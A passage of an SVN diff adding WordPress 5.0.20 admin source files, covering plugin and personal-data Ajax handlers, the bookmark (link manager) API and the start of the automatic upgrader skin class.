+		if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->get_error_code() ) {
+			$status['errorMessage'] = esc_html( $wp_filesystem->errors->get_error_message() );
+		}
+
+		wp_send_json_error( $status );
+	}
+
+	// An unhandled error occurred.
+	$status['errorMessage'] = __( 'Plugin update failed.' );
+	wp_send_json_error( $status );
+}
+
+/**
+ * Ajax handler for deleting a plugin.
+ *
+ * @since 4.6.0
+ *
+ * @see delete_plugins()
+ *
+ * @global WP_Filesystem_Base $wp_filesystem Subclass
+ */
+function wp_ajax_delete_plugin() {
+	check_ajax_referer( 'updates' );
+
+	if ( empty( $_POST['slug'] ) || empty( $_POST['plugin'] ) ) {
+		wp_send_json_error( array(
+			'slug'         => '',
+			'errorCode'    => 'no_plugin_specified',
+			'errorMessage' => __( 'No plugin specified.' ),
+		) );
+	}
+
+	$plugin = plugin_basename( sanitize_text_field( wp_unslash( $_POST['plugin'] ) ) );
+
+	$status = array(
+		'delete' => 'plugin',
+		'slug'   => sanitize_key( wp_unslash( $_POST['slug'] ) ),
+	);
+
+	if ( ! current_user_can( 'delete_plugins' ) || 0 !== validate_file( $plugin ) ) {
+		$status['errorMessage'] = __( 'Sorry, you are not allowed to delete plugins for this site.' );
+		wp_send_json_error( $status );
+	}
+
+	$plugin_data          = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );
+	$status['plugin']     = $plugin;
+	$status['pluginName'] = $plugin_data['Name'];
+
+	if ( is_plugin_active( $plugin ) ) {
+		$status['errorMessage'] = __( 'You cannot delete a plugin while it is active on the main site.' );
+		wp_send_json_error( $status );
+	}
+
+	// Check filesystem credentials. `delete_plugins()` will bail otherwise.
+	$url = wp_nonce_url( 'plugins.php?action=delete-selected&verify-delete=1&checked[]=' . $plugin, 'bulk-plugins' );
+	ob_start();
+	$credentials = request_filesystem_credentials( $url );
+	ob_end_clean();
+	if ( false === $credentials || ! WP_Filesystem( $credentials ) ) {
+		global $wp_filesystem;
+
+		$status['errorCode']    = 'unable_to_connect_to_filesystem';
+		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );
+
+		// Pass through the error from WP_Filesystem if one was raised.
+		if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->get_error_code() ) {
+			$status['errorMessage'] = esc_html( $wp_filesystem->errors->get_error_message() );
+		}
+
+		wp_send_json_error( $status );
+	}
+
+	$result = delete_plugins( array( $plugin ) );
+
+	if ( is_wp_error( $result ) ) {
+		$status['errorMessage'] = $result->get_error_message();
+		wp_send_json_error( $status );
+	} elseif ( false === $result ) {
+		$status['errorMessage'] = __( 'Plugin could not be deleted.' );
+		wp_send_json_error( $status );
+	}
+
+	wp_send_json_success( $status );
+}
+
+/**
+ * Ajax handler for searching plugins.
+ *
+ * @since 4.6.0
+ *
+ * @global string $s Search term.
+ */
+function wp_ajax_search_plugins() {
+	check_ajax_referer( 'updates' );
+
+	$pagenow = isset( $_POST['pagenow'] ) ? sanitize_key( $_POST['pagenow'] ) : '';
+	if ( 'plugins-network' === $pagenow || 'plugins' === $pagenow ) {
+		set_current_screen( $pagenow );
+	}
+
+	/** @var WP_Plugins_List_Table $wp_list_table */
+	$wp_list_table = _get_list_table( 'WP_Plugins_List_Table', array(
+		'screen' => get_current_screen(),
+	) );
+
+	$status = array();
+
+	if ( ! $wp_list_table->ajax_user_can() ) {
+		$status['errorMessage'] = __( 'Sorry, you are not allowed to manage plugins for this site.' );
+		wp_send_json_error( $status );
+	}
+
+	// Set the correct requester, so pagination works.
+	$_SERVER['REQUEST_URI'] = add_query_arg( array_diff_key( $_POST, array(
+		'_ajax_nonce' => null,
+		'action'      => null,
+	) ), network_admin_url( 'plugins.php', 'relative' ) );
+
+	$GLOBALS['s'] = wp_unslash( $_POST['s'] );
+
+	$wp_list_table->prepare_items();
+
+	ob_start();
+	$wp_list_table->display();
+	$status['count'] = count( $wp_list_table->items );
+	$status['items'] = ob_get_clean();
+
+	wp_send_json_success( $status );
+}
+
+/**
+ * Ajax handler for searching plugins to install.
+ *
+ * @since 4.6.0
+ */
+function wp_ajax_search_install_plugins() {
+	check_ajax_referer( 'updates' );
+
+	$pagenow = isset( $_POST['pagenow'] ) ? sanitize_key( $_POST['pagenow'] ) : '';
+	if ( 'plugin-install-network' === $pagenow || 'plugin-install' === $pagenow ) {
+		set_current_screen( $pagenow );
+	}
+
+	/** @var WP_Plugin_Install_List_Table $wp_list_table */
+	$wp_list_table = _get_list_table( 'WP_Plugin_Install_List_Table', array(
+		'screen' => get_current_screen(),
+	) );
+
+	$status = array();
+
+	if ( ! $wp_list_table->ajax_user_can() ) {
+		$status['errorMessage'] = __( 'Sorry, you are not allowed to manage plugins for this site.' );
+		wp_send_json_error( $status );
+	}
+
+	// Set the correct requester, so pagination works.
+	$_SERVER['REQUEST_URI'] = add_query_arg( array_diff_key( $_POST, array(
+		'_ajax_nonce' => null,
+		'action'      => null,
+	) ), network_admin_url( 'plugin-install.php', 'relative' ) );
+
+	$wp_list_table->prepare_items();
+
+	ob_start();
+	$wp_list_table->display();
+	$status['count'] = (int) $wp_list_table->get_pagination_arg( 'total_items' );
+	$status['items'] = ob_get_clean();
+
+	wp_send_json_success( $status );
+}
+
+/**
+ * Ajax handler for editing a theme or plugin file.
+ *
+ * @since 4.9.0
+ * @see wp_edit_theme_plugin_file()
+ */
+function wp_ajax_edit_theme_plugin_file() {
+	$r = wp_edit_theme_plugin_file( wp_unslash( $_POST ) ); // Validation of args is done in wp_edit_theme_plugin_file().
+	if ( is_wp_error( $r ) ) {
+		wp_send_json_error( array_merge(
+			array(
+				'code' => $r->get_error_code(),
+				'message' => $r->get_error_message(),
+			),
+			(array) $r->get_error_data()
+		) );
+	} else {
+		wp_send_json_success( array(
+			'message' => __( 'File edited successfully.' ),
+		) );
+	}
+}
+
+/**
+ * Ajax handler for exporting a user's personal data.
+ *
+ * @since 4.9.6
+ */
+function wp_ajax_wp_privacy_export_personal_data() {
+
+	if ( empty( $_POST['id'] ) ) {
+		wp_send_json_error( __( 'Missing request ID.' ) );
+	}
+	$request_id = (int) $_POST['id'];
+
+	if ( $request_id < 1 ) {
+		wp_send_json_error( __( 'Invalid request ID.' ) );
+	}
+
+	if ( ! current_user_can( 'export_others_personal_data' ) ) {
+		wp_send_json_error( __( 'Invalid request.' ) );
+	}
+
+	check_ajax_referer( 'wp-privacy-export-personal-data-' . $request_id, 'security' );
+
+	// Get the request data.
+	$request = wp_get_user_request_data( $request_id );
+
+	if ( ! $request || 'export_personal_data' !== $request->action_name ) {
+		wp_send_json_error( __( 'Invalid request type.' ) );
+	}
+
+	$email_address = $request->email;
+	if ( ! is_email( $email_address ) ) {
+		wp_send_json_error( __( 'A valid email address must be given.' ) );
+	}
+
+	if ( ! isset( $_POST['exporter'] ) ) {
+		wp_send_json_error( __( 'Missing exporter index.' ) );
+	}
+	$exporter_index = (int) $_POST['exporter'];
+
+	if ( ! isset( $_POST['page'] ) ) {
+		wp_send_json_error( __( 'Missing page index.' ) );
+	}
+	$page = (int) $_POST['page'];
+
+	$send_as_email = isset( $_POST['sendAsEmail'] ) ? ( 'true' === $_POST['sendAsEmail'] ) : false;
+
+	/**
+	 * Filters the array of exporter callbacks.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param array $args {
+	 *     An array of callable exporters of personal data. Default empty array.
+	 *
+	 *     @type array {
+	 *         Array of personal data exporters.
+	 *
+	 *         @type string $callback               Callable exporter function that accepts an
+	 *                                              email address and a page and returns an array
+	 *                                              of name => value pairs of personal data.
+	 *         @type string $exporter_friendly_name Translated user facing friendly name for the
+	 *                                              exporter.
+	 *     }
+	 * }
+	 */
+	$exporters = apply_filters( 'wp_privacy_personal_data_exporters', array() );
+
+	if ( ! is_array( $exporters ) ) {
+		wp_send_json_error( __( 'An exporter has improperly used the registration filter.' ) );
+	}
+
+	// Do we have any registered exporters?
+	if ( 0 < count( $exporters ) ) {
+		if ( $exporter_index < 1 ) {
+			wp_send_json_error( __( 'Exporter index cannot be negative.' ) );
+		}
+
+		if ( $exporter_index > count( $exporters ) ) {
+			wp_send_json_error( __( 'Exporter index out of range.' ) );
+		}
+
+		if ( $page < 1 ) {
+			wp_send_json_error( __( 'Page index cannot be less than one.' ) );
+		}
+
+		$exporter_keys = array_keys( $exporters );
+		$exporter_key  = $exporter_keys[ $exporter_index - 1 ];
+		$exporter      = $exporters[ $exporter_key ];
+
+		if ( ! is_array( $exporter ) ) {
+			wp_send_json_error(
+				/* translators: %s: array index */
+				sprintf( __( 'Expected an array describing the exporter at index %s.' ), $exporter_key )
+			);
+		}
+		if ( ! array_key_exists( 'exporter_friendly_name', $exporter ) ) {
+			wp_send_json_error(
+				/* translators: %s: array index */
+				sprintf( __( 'Exporter array at index %s does not include a friendly name.' ), $exporter_key )
+			);
+		}
+		if ( ! array_key_exists( 'callback', $exporter ) ) {
+			wp_send_json_error(
+				/* translators: %s: exporter friendly name */
+				sprintf( __( 'Exporter does not include a callback: %s.' ), esc_html( $exporter['exporter_friendly_name'] ) )
+			);
+		}
+		if ( ! is_callable( $exporter['callback'] ) ) {
+			wp_send_json_error(
+				/* translators: %s: exporter friendly name */
+				sprintf( __( 'Exporter callback is not a valid callback: %s.' ), esc_html( $exporter['exporter_friendly_name'] ) )
+			);
+		}
+
+		$callback               = $exporter['callback'];
+		$exporter_friendly_name = $exporter['exporter_friendly_name'];
+
+		$response = call_user_func( $callback, $email_address, $page );
+		if ( is_wp_error( $response ) ) {
+			wp_send_json_error( $response );
+		}
+
+		if ( ! is_array( $response ) ) {
+			wp_send_json_error(
+				/* translators: %s: exporter friendly name */
+				sprintf( __( 'Expected response as an array from exporter: %s.' ), esc_html( $exporter_friendly_name ) )
+			);
+		}
+		if ( ! array_key_exists( 'data', $response ) ) {
+			wp_send_json_error(
+				/* translators: %s: exporter friendly name */
+				sprintf( __( 'Expected data in response array from exporter: %s.' ), esc_html( $exporter_friendly_name ) )
+			);
+		}
+		if ( ! is_array( $response['data'] ) ) {
+			wp_send_json_error(
+				/* translators: %s: exporter friendly name */
+				sprintf( __( 'Expected data array in response array from exporter: %s.' ), esc_html( $exporter_friendly_name ) )
+			);
+		}
+		if ( ! array_key_exists( 'done', $response ) ) {
+			wp_send_json_error(
+				/* translators: %s: exporter friendly name */
+				sprintf( __( 'Expected done (boolean) in response array from exporter: %s.' ), esc_html( $exporter_friendly_name ) )
+			);
+		}
+	} else {
+		// No exporters, so we're done.
+		$exporter_key = '';
+
+		$response = array(
+			'data' => array(),
+			'done' => true,
+		);
+	}
+
+	/**
+	 * Filters a page of personal data exporter data. Used to build the export report.
+	 *
+	 * Allows the export response to be consumed by destinations in addition to Ajax.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param array  $response        The personal data for the given exporter and page.
+	 * @param int    $exporter_index  The index of the exporter that provided this data.
+	 * @param string $email_address   The email address associated with this personal data.
+	 * @param int    $page            The page for this response.
+	 * @param int    $request_id      The privacy request post ID associated with this request.
+	 * @param bool   $send_as_email   Whether the final results of the export should be emailed to the user.
+	 * @param string $exporter_key    The key (slug) of the exporter that provided this data.
+	 */
+	$response = apply_filters( 'wp_privacy_personal_data_export_page', $response, $exporter_index, $email_address, $page, $request_id, $send_as_email, $exporter_key );
+
+	if ( is_wp_error( $response ) ) {
+		wp_send_json_error( $response );
+	}
+
+	wp_send_json_success( $response );
+}
+
+/**
+ * Ajax handler for erasing personal data.
+ *
+ * @since 4.9.6
+ */
+function wp_ajax_wp_privacy_erase_personal_data() {
+
+	if ( empty( $_POST['id'] ) ) {
+		wp_send_json_error( __( 'Missing request ID.' ) );
+	}
+
+	$request_id = (int) $_POST['id'];
+
+	if ( $request_id < 1 ) {
+		wp_send_json_error( __( 'Invalid request ID.' ) );
+	}
+
+	// Both capabilities are required to avoid confusion, see `_wp_personal_data_removal_page()`.
+	if ( ! current_user_can( 'erase_others_personal_data' ) || ! current_user_can( 'delete_users' ) ) {
+		wp_send_json_error( __( 'Invalid request.' ) );
+	}
+
+	check_ajax_referer( 'wp-privacy-erase-personal-data-' . $request_id, 'security' );
+
+	// Get the request data.
+	$request = wp_get_user_request_data( $request_id );
+
+	if ( ! $request || 'remove_personal_data' !== $request->action_name ) {
+		wp_send_json_error( __( 'Invalid request ID.' ) );
+	}
+
+	$email_address = $request->email;
+
+	if ( ! is_email( $email_address ) ) {
+		wp_send_json_error( __( 'Invalid email address in request.' ) );
+	}
+
+	if ( ! isset( $_POST['eraser'] ) ) {
+		wp_send_json_error( __( 'Missing eraser index.' ) );
+	}
+
+	$eraser_index = (int) $_POST['eraser'];
+
+	if ( ! isset( $_POST['page'] ) ) {
+		wp_send_json_error( __( 'Missing page index.' ) );
+	}
+
+	$page = (int) $_POST['page'];
+
+	/**
+	 * Filters the array of personal data eraser callbacks.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param array $args {
+	 *     An array of callable erasers of personal data. Default empty array.
+	 *
+	 *     @type array {
+	 *         Array of personal data exporters.
+	 *
+	 *         @type string $callback               Callable eraser that accepts an email address and
+	 *                                              a page and returns an array with boolean values for
+	 *                                              whether items were removed or retained and any messages
+	 *                                              from the eraser, as well as if additional pages are
+	 *                                              available.
+	 *         @type string $exporter_friendly_name Translated user facing friendly name for the eraser.
+	 *     }
+	 * }
+	 */
+	$erasers = apply_filters( 'wp_privacy_personal_data_erasers', array() );
+
+	// Do we have any registered erasers?
+	if ( 0 < count( $erasers ) ) {
+
+		if ( $eraser_index < 1 ) {
+			wp_send_json_error( __( 'Eraser index cannot be less than one.' ) );
+		}
+
+		if ( $eraser_index > count( $erasers ) ) {
+			wp_send_json_error( __( 'Eraser index is out of range.' ) );
+		}
+
+		if ( $page < 1 ) {
+			wp_send_json_error( __( 'Page index cannot be less than one.' ) );
+		}
+
+		$eraser_keys = array_keys( $erasers );
+		$eraser_key  = $eraser_keys[ $eraser_index - 1 ];
+		$eraser      = $erasers[ $eraser_key ];
+
+		if ( ! is_array( $eraser ) ) {
+			/* translators: %d: array index */
+			wp_send_json_error( sprintf( __( 'Expected an array describing the eraser at index %d.' ), $eraser_index ) );
+		}
+
+		if ( ! array_key_exists( 'callback', $eraser ) ) {
+			/* translators: %d: array index */
+			wp_send_json_error( sprintf( __( 'Eraser array at index %d does not include a callback.' ), $eraser_index ) );
+		}
+
+		if ( ! is_callable( $eraser['callback'] ) ) {
+			/* translators: %d: array index */
+			wp_send_json_error( sprintf( __( 'Eraser callback at index %d is not a valid callback.' ), $eraser_index ) );
+		}
+
+		if ( ! array_key_exists( 'eraser_friendly_name', $eraser ) ) {
+			/* translators: %d: array index */
+			wp_send_json_error( sprintf( __( 'Eraser array at index %d does not include a friendly name.' ), $eraser_index ) );
+		}
+
+		$callback             = $eraser['callback'];
+		$eraser_friendly_name = $eraser['eraser_friendly_name'];
+
+		$response = call_user_func( $callback, $email_address, $page );
+
+		if ( is_wp_error( $response ) ) {
+			wp_send_json_error( $response );
+		}
+
+		if ( ! is_array( $response ) ) {
+			wp_send_json_error(
+				sprintf(
+					/* translators: 1: eraser friendly name, 2: array index */
+					__( 'Did not receive array from %1$s eraser (index %2$d).' ),
+					esc_html( $eraser_friendly_name ),
+					$eraser_index
+				)
+			);
+		}
+
+		if ( ! array_key_exists( 'items_removed', $response ) ) {
+			wp_send_json_error(
+				sprintf(
+					/* translators: 1: eraser friendly name, 2: array index */
+					__( 'Expected items_removed key in response array from %1$s eraser (index %2$d).' ),
+					esc_html( $eraser_friendly_name ),
+					$eraser_index
+				)
+			);
+		}
+
+		if ( ! array_key_exists( 'items_retained', $response ) ) {
+			wp_send_json_error(
+				sprintf(
+					/* translators: 1: eraser friendly name, 2: array index */
+					__( 'Expected items_retained key in response array from %1$s eraser (index %2$d).' ),
+					esc_html( $eraser_friendly_name ),
+					$eraser_index
+				)
+			);
+		}
+
+		if ( ! array_key_exists( 'messages', $response ) ) {
+			wp_send_json_error(
+				sprintf(
+					/* translators: 1: eraser friendly name, 2: array index */
+					__( 'Expected messages key in response array from %1$s eraser (index %2$d).' ),
+					esc_html( $eraser_friendly_name ),
+					$eraser_index
+				)
+			);
+		}
+
+		if ( ! is_array( $response['messages'] ) ) {
+			wp_send_json_error(
+				sprintf(
+					/* translators: 1: eraser friendly name, 2: array index */
+					__( 'Expected messages key to reference an array in response array from %1$s eraser (index %2$d).' ),
+					esc_html( $eraser_friendly_name ),
+					$eraser_index
+				)
+			);
+		}
+
+		if ( ! array_key_exists( 'done', $response ) ) {
+			wp_send_json_error(
+				sprintf(
+					/* translators: 1: eraser friendly name, 2: array index */
+					__( 'Expected done flag in response array from %1$s eraser (index %2$d).' ),
+					esc_html( $eraser_friendly_name ),
+					$eraser_index
+				)
+			);
+		}
+	} else {
+		// No erasers, so we're done.
+		$eraser_key = '';
+
+		$response = array(
+			'items_removed'  => false,
+			'items_retained' => false,
+			'messages'       => array(),
+			'done'           => true,
+		);
+	}
+
+	/**
+	 * Filters a page of personal data eraser data.
+	 *
+	 * Allows the erasure response to be consumed by destinations in addition to Ajax.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param array  $response        The personal data for the given exporter and page.
+	 * @param int    $eraser_index    The index of the eraser that provided this data.
+	 * @param string $email_address   The email address associated with this personal data.
+	 * @param int    $page            The page for this response.
+	 * @param int    $request_id      The privacy request post ID associated with this request.
+	 * @param string $eraser_key      The key (slug) of the eraser that provided this data.
+	 */
+	$response = apply_filters( 'wp_privacy_personal_data_erasure_page', $response, $eraser_index, $email_address, $page, $request_id, $eraser_key );
+
+	if ( is_wp_error( $response ) ) {
+		wp_send_json_error( $response );
+	}
+
+	wp_send_json_success( $response );
+}
Index: /tags/5.0.20/src/wp-admin/includes/bookmark.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/bookmark.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/bookmark.php	(revision 56912)
@@ -0,0 +1,316 @@
+<?php
+/**
+ * WordPress Bookmark Administration API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Add a link to using values provided in $_POST.
+ *
+ * @since 2.0.0
+ *
+ * @return int|WP_Error Value 0 or WP_Error on failure. The link ID on success.
+ */
+function add_link() {
+	return edit_link();
+}
+
+/**
+ * Updates or inserts a link using values provided in $_POST.
+ *
+ * @since 2.0.0
+ *
+ * @param int $link_id Optional. ID of the link to edit. Default 0.
+ * @return int|WP_Error Value 0 or WP_Error on failure. The link ID on success.
+ */
+function edit_link( $link_id = 0 ) {
+	if ( ! current_user_can( 'manage_links' ) ) {
+		wp_die(
+			'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
+			'<p>' . __( 'Sorry, you are not allowed to edit the links for this site.' ) . '</p>',
+			403
+		);
+	}
+
+	$_POST['link_url'] = esc_html( $_POST['link_url'] );
+	$_POST['link_url'] = esc_url($_POST['link_url']);
+	$_POST['link_name'] = esc_html( $_POST['link_name'] );
+	$_POST['link_image'] = esc_html( $_POST['link_image'] );
+	$_POST['link_rss'] = esc_url($_POST['link_rss']);
+	if ( !isset($_POST['link_visible']) || 'N' != $_POST['link_visible'] )
+		$_POST['link_visible'] = 'Y';
+
+	if ( !empty( $link_id ) ) {
+		$_POST['link_id'] = $link_id;
+		return wp_update_link( $_POST );
+	} else {
+		return wp_insert_link( $_POST );
+	}
+}
+
+/**
+ * Retrieves the default link for editing.
+ *
+ * @since 2.0.0
+ *
+ * @return stdClass Default link object.
+ */
+function get_default_link_to_edit() {
+	$link = new stdClass;
+	if ( isset( $_GET['linkurl'] ) )
+		$link->link_url = esc_url( wp_unslash( $_GET['linkurl'] ) );
+	else
+		$link->link_url = '';
+
+	if ( isset( $_GET['name'] ) )
+		$link->link_name = esc_attr( wp_unslash( $_GET['name'] ) );
+	else
+		$link->link_name = '';
+
+	$link->link_visible = 'Y';
+
+	return $link;
+}
+
+/**
+ * Deletes a specified link from the database.
+ *
+ * @since 2.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int $link_id ID of the link to delete
+ * @return true Always true.
+ */
+function wp_delete_link( $link_id ) {
+	global $wpdb;
+	/**
+	 * Fires before a link is deleted.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param int $link_id ID of the link to delete.
+	 */
+	do_action( 'delete_link', $link_id );
+
+	wp_delete_object_term_relationships( $link_id, 'link_category' );
+
+	$wpdb->delete( $wpdb->links, array( 'link_id' => $link_id ) );
+
+	/**
+	 * Fires after a link has been deleted.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param int $link_id ID of the deleted link.
+	 */
+	do_action( 'deleted_link', $link_id );
+
+	clean_bookmark_cache( $link_id );
+
+	return true;
+}
+
+/**
+ * Retrieves the link categories associated with the link specified.
+ *
+ * @since 2.1.0
+ *
+ * @param int $link_id Link ID to look up
+ * @return array The requested link's categories
+ */
+function wp_get_link_cats( $link_id = 0 ) {
+	$cats = wp_get_object_terms( $link_id, 'link_category', array('fields' => 'ids') );
+	return array_unique( $cats );
+}
+
+/**
+ * Retrieves link data based on its ID.
+ *
+ * @since 2.0.0
+ *
+ * @param int|stdClass $link Link ID or object to retrieve.
+ * @return object Link object for editing.
+ */
+function get_link_to_edit( $link ) {
+	return get_bookmark( $link, OBJECT, 'edit' );
+}
+
+/**
+ * Inserts/updates links into/in the database.
+ *
+ * @since 2.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param array $linkdata Elements that make up the link to insert.
+ * @param bool  $wp_error Optional. Whether to return a WP_Error object on failure. Default false.
+ * @return int|WP_Error Value 0 or WP_Error on failure. The link ID on success.
+ */
+function wp_insert_link( $linkdata, $wp_error = false ) {
+	global $wpdb;
+
+	$defaults = array( 'link_id' => 0, 'link_name' => '', 'link_url' => '', 'link_rating' => 0 );
+
+	$args = wp_parse_args( $linkdata, $defaults );
+	$r = wp_unslash( sanitize_bookmark( $args, 'db' ) );
+
+	$link_id   = $r['link_id'];
+	$link_name = $r['link_name'];
+	$link_url  = $r['link_url'];
+
+	$update = false;
+	if ( ! empty( $link_id ) ) {
+		$update = true;
+	}
+
+	if ( trim( $link_name ) == '' ) {
+		if ( trim( $link_url ) != '' ) {
+			$link_name = $link_url;
+		} else {
+			return 0;
+		}
+	}
+
+	if ( trim( $link_url ) == '' ) {
+		return 0;
+	}
+
+	$link_rating      = ( ! empty( $r['link_rating'] ) ) ? $r['link_rating'] : 0;
+	$link_image       = ( ! empty( $r['link_image'] ) ) ? $r['link_image'] : '';
+	$link_target      = ( ! empty( $r['link_target'] ) ) ? $r['link_target'] : '';
+	$link_visible     = ( ! empty( $r['link_visible'] ) ) ? $r['link_visible'] : 'Y';
+	$link_owner       = ( ! empty( $r['link_owner'] ) ) ? $r['link_owner'] : get_current_user_id();
+	$link_notes       = ( ! empty( $r['link_notes'] ) ) ? $r['link_notes'] : '';
+	$link_description = ( ! empty( $r['link_description'] ) ) ? $r['link_description'] : '';
+	$link_rss         = ( ! empty( $r['link_rss'] ) ) ? $r['link_rss'] : '';
+	$link_rel         = ( ! empty( $r['link_rel'] ) ) ? $r['link_rel'] : '';
+	$link_category    = ( ! empty( $r['link_category'] ) ) ? $r['link_category'] : array();
+
+	// Make sure we set a valid category.
+	if ( ! is_array( $link_category ) || 0 == count( $link_category ) ) {
+		$link_category = array( get_option( 'default_link_category' ) );
+	}
+
+	if ( $update ) {
+		if ( false === $wpdb->update( $wpdb->links, compact( 'link_url', 'link_name', 'link_image', 'link_target', 'link_description', 'link_visible', 'link_rating', 'link_rel', 'link_notes', 'link_rss' ), compact( 'link_id' ) ) ) {
+			if ( $wp_error ) {
+				return new WP_Error( 'db_update_error', __( 'Could not update link in the database' ), $wpdb->last_error );
+			} else {
+				return 0;
+			}
+		}
+	} else {
+		if ( false === $wpdb->insert( $wpdb->links, compact( 'link_url', 'link_name', 'link_image', 'link_target', 'link_description', 'link_visible', 'link_owner', 'link_rating', 'link_rel', 'link_notes', 'link_rss' ) ) ) {
+			if ( $wp_error ) {
+				return new WP_Error( 'db_insert_error', __( 'Could not insert link into the database' ), $wpdb->last_error );
+			} else {
+				return 0;
+			}
+		}
+		$link_id = (int) $wpdb->insert_id;
+	}
+
+	wp_set_link_cats( $link_id, $link_category );
+
+	if ( $update ) {
+		/**
+		 * Fires after a link was updated in the database.
+		 *
+		 * @since 2.0.0
+		 *
+		 * @param int $link_id ID of the link that was updated.
+		 */
+		do_action( 'edit_link', $link_id );
+	} else {
+		/**
+		 * Fires after a link was added to the database.
+		 *
+		 * @since 2.0.0
+		 *
+		 * @param int $link_id ID of the link that was added.
+		 */
+		do_action( 'add_link', $link_id );
+	}
+	clean_bookmark_cache( $link_id );
+
+	return $link_id;
+}
+
+/**
+ * Update link with the specified link categories.
+ *
+ * @since 2.1.0
+ *
+ * @param int   $link_id         ID of the link to update.
+ * @param array $link_categories Array of link categories to add the link to.
+ */
+function wp_set_link_cats( $link_id = 0, $link_categories = array() ) {
+	// If $link_categories isn't already an array, make it one:
+	if ( !is_array( $link_categories ) || 0 == count( $link_categories ) )
+		$link_categories = array( get_option( 'default_link_category' ) );
+
+	$link_categories = array_map( 'intval', $link_categories );
+	$link_categories = array_unique( $link_categories );
+
+	wp_set_object_terms( $link_id, $link_categories, 'link_category' );
+
+	clean_bookmark_cache( $link_id );
+}
+
+/**
+ * Updates a link in the database.
+ *
+ * @since 2.0.0
+ *
+ * @param array $linkdata Link data to update.
+ * @return int|WP_Error Value 0 or WP_Error on failure. The updated link ID on success.
+ */
+function wp_update_link( $linkdata ) {
+	$link_id = (int) $linkdata['link_id'];
+
+	$link = get_bookmark( $link_id, ARRAY_A );
+
+	// Escape data pulled from DB.
+	$link = wp_slash( $link );
+
+	// Passed link category list overwrites existing category list if not empty.
+	if ( isset( $linkdata['link_category'] ) && is_array( $linkdata['link_category'] )
+			 && 0 != count( $linkdata['link_category'] ) )
+		$link_cats = $linkdata['link_category'];
+	else
+		$link_cats = $link['link_category'];
+
+	// Merge old and new fields with new fields overwriting old ones.
+	$linkdata = array_merge( $link, $linkdata );
+	$linkdata['link_category'] = $link_cats;
+
+	return wp_insert_link( $linkdata );
+}
+
+/**
+ * Outputs the 'disabled' message for the WordPress Link Manager.
+ *
+ * @since 3.5.0
+ * @access private
+ *
+ * @global string $pagenow
+ */
+function wp_link_manager_disabled_message() {
+	global $pagenow;
+	if ( 'link-manager.php' != $pagenow && 'link-add.php' != $pagenow && 'link.php' != $pagenow )
+		return;
+
+	add_filter( 'pre_option_link_manager_enabled', '__return_true', 100 );
+	$really_can_manage_links = current_user_can( 'manage_links' );
+	remove_filter( 'pre_option_link_manager_enabled', '__return_true', 100 );
+
+	if ( $really_can_manage_links && current_user_can( 'install_plugins' ) ) {
+		$link = network_admin_url( 'plugin-install.php?tab=search&amp;s=Link+Manager' );
+		wp_die( sprintf( __( 'If you are looking to use the link manager, please install the <a href="%s">Link Manager</a> plugin.' ), $link ) );
+	}
+
+	wp_die( __( 'Sorry, you are not allowed to edit the links for this site.' ) );
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-automatic-upgrader-skin.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-automatic-upgrader-skin.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-automatic-upgrader-skin.php	(revision 56912)
@@ -0,0 +1,113 @@
+<?php
+/**
+ * Upgrader API: Automatic_Upgrader_Skin class
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 4.6.0
+ */
+
+/**
+ * Upgrader Skin for Automatic WordPress Upgrades
+ *
+ * This skin is designed to be used when no output is intended, all output
+ * is captured and stored for the caller to process and log/email/discard.
+ *
+ * @since 3.7.0
+ * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
+ *
+ * @see Bulk_Upgrader_Skin
+ */
+class Automatic_Upgrader_Skin extends WP_Upgrader_Skin {
+	protected $messages = array();
+
+	/**
+	 * Determines whether the upgrader needs FTP/SSH details in order to connect
+	 * to the filesystem.
+	 *
+	 * @since 3.7.0
+	 * @since 4.6.0 The `$context` parameter default changed from `false` to an empty string.
+	 *
+	 * @see request_filesystem_credentials()
+	 *
+	 * @param bool   $error                        Optional. Whether the current request has failed to connect.
+	 *                                             Default false.
+	 * @param string $context                      Optional. Full path to the directory that is tested
+	 *                                             for being writable. Default empty.
+	 * @param bool   $allow_relaxed_file_ownership Optional. Whether to allow Group/World writable. Default false.
+	 * @return bool True on success, false on failure.
+	 */
+	public function request_filesystem_credentials( $error = false, $context = '', $allow_relaxed_file_ownership = false ) {
+		if ( $context ) {
+			$this->options['context'] = $context;
+		}
+		// TODO: fix up request_filesystem_credentials(), or split it, to allow us to request a no-output version
+		// This will output a credentials form in event of failure, We don't want that, so just hide with a buffer
+		ob_start();
+		$result = parent::request_filesystem_credentials( $error, $context, $allow_relaxed_file_ownership );
+		ob_end_clean();
+		return $result;
+	}
+
+	/**
+	 *
+	 * @return array
+	 */
+	public function get_upgrade_messages() {
+		return $this->messages;
+	}
+
+	/**
+	 *
+	 * @param string|array|WP_Error $data
+	 */
+	public function feedback( $data ) {
+		if ( is_wp_error( $data ) ) {
+			$string = $data->get_error_message();
+		} elseif ( is_array( $data ) ) {
+			return;
+		} else {
+			$string = $data;
+		}
+		if ( ! empty( $this->upgrader->strings[ $string ] ) )
+			$string = $this->upgrader->strings[ $string ];
+
+		if ( strpos( $string, '%' ) !== false ) {
+			$args = func_get_args();
+			$args = array_splice( $args, 1 );
+			if ( ! empty( $args ) )
+				$string = vsprintf( $string, $args );
+		}
+
+		$string = trim( $string );
+
